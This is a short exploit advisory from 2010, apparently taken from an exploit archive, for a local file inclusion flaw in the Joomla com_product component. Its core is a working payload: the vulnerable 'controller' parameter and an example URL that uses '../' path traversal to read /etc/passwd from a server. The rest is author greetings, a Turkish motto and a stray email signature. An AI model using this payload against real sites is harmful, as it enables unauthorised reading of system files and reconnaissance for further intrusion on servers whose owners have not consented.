The Joomla Product component local file inclusion

 Text : 



[!] Title: Joomla Component com_product LFI Vulnerability

[!]
Date: 16.05.2010

[!] Author: ByEge

[!] Homepage:
byege.blogspot.com

[+]########################################################################
###########################################################################
#####[+]


[!]
ExploiT :

index.php?option=com_product&controller=[LFI]

[!]
Example :

http://localhost.free/index.php?option=com_product&controller=../../../
../../../etc/passwd


[+]########################################################################
###########################################################################
#####[+]

[!]
Th4nks : Fantastik, MitolocyA, ISYAN,

[!] Ege'nin sözü : En
iyi yol, bildigin yoldur.
_________________________________________________________________
Hotmail: �retsiz, güvenilir ve
zengin e-posta servisi.
https://signup.live.com/signup.aspx?id=60969




  References :  http://securityreason.com/wlb_show/WLB-2010050091